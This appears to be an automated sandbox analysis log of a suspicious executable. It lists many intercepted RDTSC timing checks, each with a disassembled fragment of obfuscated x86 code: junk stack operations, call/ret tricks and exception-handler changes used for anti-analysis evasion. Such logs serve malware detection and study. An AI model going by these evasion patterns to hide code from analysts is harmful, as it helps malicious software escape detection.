Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671CF3 second address: 671D1A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF8A1198186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 je 00007FF8A1198176h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671D1A second address: 671D70 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 clc 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FF8A11CF038h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov esi, dword ptr [ebp+122D25BAh] 0x0000002c push 00000000h 0x0000002e mov edi, dword ptr [ebp+122D2DF2h] 0x00000034 xchg eax, ebx 0x00000035 push esi 0x00000036 push edx 0x00000037 jmp 00007FF8A11CF03Fh 0x0000003c pop edx 0x0000003d pop esi 0x0000003e push eax 0x0000003f jl 00007FF8A11CF04Bh 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 pop eax 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672821 second address: 672825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67323E second address: 673244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673E35 second address: 673E3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677E21 second address: 677E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677E2D second address: 677E37 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677E37 second address: 677E41 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF8A11CF03Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6783A3 second address: 6783AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6784A4 second address: 6784AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6784AA second address: 6784AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6793D9 second address: 6793DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A16B second address: 67A175 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6793DE second address: 67947A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D3881h], esi 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007FF8A11CF038h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 movzx edi, si 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov eax, dword ptr [ebp+122D0C61h] 0x00000044 jmp 00007FF8A11CF046h 0x00000049 push FFFFFFFFh 0x0000004b push 00000000h 0x0000004d push ebp 0x0000004e call 00007FF8A11CF038h 0x00000053 pop ebp 0x00000054 mov dword ptr [esp+04h], ebp 0x00000058 add dword ptr [esp+04h], 00000014h 0x00000060 inc ebp 0x00000061 push ebp 0x00000062 ret 0x00000063 pop ebp 0x00000064 ret 0x00000065 pushad 0x00000066 mov bh, 15h 0x00000068 cmc 0x00000069 popad 0x0000006a push eax 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007FF8A11CF03Ch 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67947A second address: 67947E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B0B7 second address: 67B0D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FF8A11CF03Fh 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jbe 00007FF8A11CF036h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B0D7 second address: 67B129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FF8A119817Ch 0x0000000b jnl 00007FF8A1198176h 0x00000011 popad 0x00000012 nop 0x00000013 or edi, 237A7156h 0x00000019 push 00000000h 0x0000001b sub di, 8B00h 0x00000020 or edi, dword ptr [ebp+122D2E82h] 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push esi 0x0000002b call 00007FF8A1198178h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], esi 0x00000035 add dword ptr [esp+04h], 00000015h 0x0000003d inc esi 0x0000003e push esi 0x0000003f ret 0x00000040 pop esi 0x00000041 ret 0x00000042 sub ebx, 32660600h 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A3F1 second address: 67A3F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B129 second address: 67B133 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C1A9 second address: 67C1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C1AD second address: 67C225 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF8A119817Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007FF8A119817Eh 0x00000011 push eax 0x00000012 jnl 00007FF8A1198176h 0x00000018 pop eax 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FF8A1198178h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 mov edi, edx 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D27F9h], edi 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push esi 0x00000043 call 00007FF8A1198178h 0x00000048 pop esi 0x00000049 mov dword ptr [esp+04h], esi 0x0000004d add dword ptr [esp+04h], 00000014h 0x00000055 inc esi 0x00000056 push esi 0x00000057 ret 0x00000058 pop esi 0x00000059 ret 0x0000005a movsx edi, cx 0x0000005d add dword ptr [ebp+12474A57h], ebx 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C225 second address: 67C22F instructions: 0x00000000 rdtsc 0x00000002 je 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B2F9 second address: 67B2FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E16B second address: 67E180 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E180 second address: 67E184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E184 second address: 67E188 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E188 second address: 67E191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C368 second address: 67C373 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FF8A11CF036h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C439 second address: 67C43D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C43D second address: 67C441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C441 second address: 67C447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D303 second address: 67D371 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D2698h], eax 0x00000011 mov dword ptr [ebp+122D26A5h], ecx 0x00000017 push dword ptr fs:[00000000h] 0x0000001e and di, ECA4h 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007FF8A11CF038h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 mov bx, ADBDh 0x00000048 mov edi, dword ptr [ebp+122D2EF6h] 0x0000004e mov eax, dword ptr [ebp+122D10B9h] 0x00000054 mov bx, 855Bh 0x00000058 push FFFFFFFFh 0x0000005a sub dword ptr [ebp+12476C72h], edx 0x00000060 mov ebx, dword ptr [ebp+122D2C1Ah] 0x00000066 nop 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E380 second address: 67E3AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF8A119817Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68301A second address: 6830D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF046h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push eax 0x0000000d call 00007FF8A11CF03Dh 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 pop ebx 0x00000016 call 00007FF8A11CF049h 0x0000001b mov di, bx 0x0000001e pop ebx 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push edi 0x00000024 call 00007FF8A11CF038h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], edi 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc edi 0x00000037 push edi 0x00000038 ret 0x00000039 pop edi 0x0000003a ret 0x0000003b mov ebx, edi 0x0000003d movsx ebx, dx 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push eax 0x00000045 call 00007FF8A11CF038h 0x0000004a pop eax 0x0000004b mov dword ptr [esp+04h], eax 0x0000004f add dword ptr [esp+04h], 0000001Ah 0x00000057 inc eax 0x00000058 push eax 0x00000059 ret 0x0000005a pop eax 0x0000005b ret 0x0000005c jmp 00007FF8A11CF03Eh 0x00000061 xchg eax, esi 0x00000062 push eax 0x00000063 push edx 0x00000064 jl 00007FF8A11CF043h 0x0000006a jmp 00007FF8A11CF03Dh 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6840D7 second address: 684106 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FF8A119817Fh 0x0000000c nop 0x0000000d stc 0x0000000e push 00000000h 0x00000010 pushad 0x00000011 sub si, D600h 0x00000016 popad 0x00000017 push 00000000h 0x00000019 clc 0x0000001a xchg eax, esi 0x0000001b push eax 0x0000001c push edx 0x0000001d jl 00007FF8A1198178h 0x00000023 push eax 0x00000024 pop eax 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684FEE second address: 685035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 movzx ebx, cx 0x0000000c jmp 00007FF8A11CF03Eh 0x00000011 push 00000000h 0x00000013 mov ebx, dword ptr [ebp+122D2F2Eh] 0x00000019 and edi, 15C24128h 0x0000001f push 00000000h 0x00000021 js 00007FF8A11CF036h 0x00000027 xchg eax, esi 0x00000028 push edi 0x00000029 jno 00007FF8A11CF038h 0x0000002f pop edi 0x00000030 push eax 0x00000031 jbe 00007FF8A11CF040h 0x00000037 pushad 0x00000038 pushad 0x00000039 popad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63302C second address: 633032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688452 second address: 688458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 688458 second address: 68845E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C485 second address: 62C49E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF045h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C49E second address: 62C4B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF8A119817Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C4B3 second address: 62C4B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C4B7 second address: 62C4C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C4C3 second address: 62C4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF8A11CF036h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C4CD second address: 62C4D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C4D3 second address: 62C4DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C4DF second address: 62C4E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F5B1 second address: 68F5B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F5B5 second address: 68F5B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F5B9 second address: 68F5E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF8A11CF043h 0x0000000f jmp 00007FF8A11CF03Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F5E1 second address: 68F5FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF8A1198180h 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F5FF second address: 68F632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF047h 0x00000007 pushad 0x00000008 jo 00007FF8A11CF036h 0x0000000e jmp 00007FF8A11CF041h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F7CF second address: 68F7D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F7D4 second address: 68F7E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF8A11CF036h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F7E0 second address: 68F7E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F7E9 second address: 68F7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F7FB second address: 68F81A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FF8A11981ABh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF8A119817Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F81A second address: 68F81E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680409 second address: 68040E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6814CA second address: 6814D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6814D0 second address: 6814D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682305 second address: 68230E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68519E second address: 6851A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6851A3 second address: 6851FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007FF8A11CF036h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FF8A11CF038h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov dword ptr [ebp+12452ABCh], edi 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b mov eax, dword ptr [ebp+122D1625h] 0x00000041 mov bx, BAD0h 0x00000045 push FFFFFFFFh 0x00000047 mov edi, 6853EBD1h 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jc 00007FF8A11CF038h 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686148 second address: 68614C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68614C second address: 686152 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6952FE second address: 695304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695304 second address: 695308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695308 second address: 695357 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF8A1198189h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ecx 0x00000013 push ecx 0x00000014 jmp 00007FF8A119817Bh 0x00000019 pop ecx 0x0000001a pop ecx 0x0000001b mov eax, dword ptr [eax] 0x0000001d jne 00007FF8A119817Eh 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695357 second address: 69535B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69535B second address: 695361 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A5D1 second address: 69A5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A755 second address: 69A75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A75A second address: 69A766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FF8A11CF036h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A766 second address: 69A76A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AA43 second address: 69AA7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Eh 0x00000009 jmp 00007FF8A11CF045h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF8A11CF03Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69ADEE second address: 69AE08 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF8A119817Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AE08 second address: 69AE0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AE0E second address: 69AE14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AE14 second address: 69AE29 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jc 00007FF8A11CF036h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
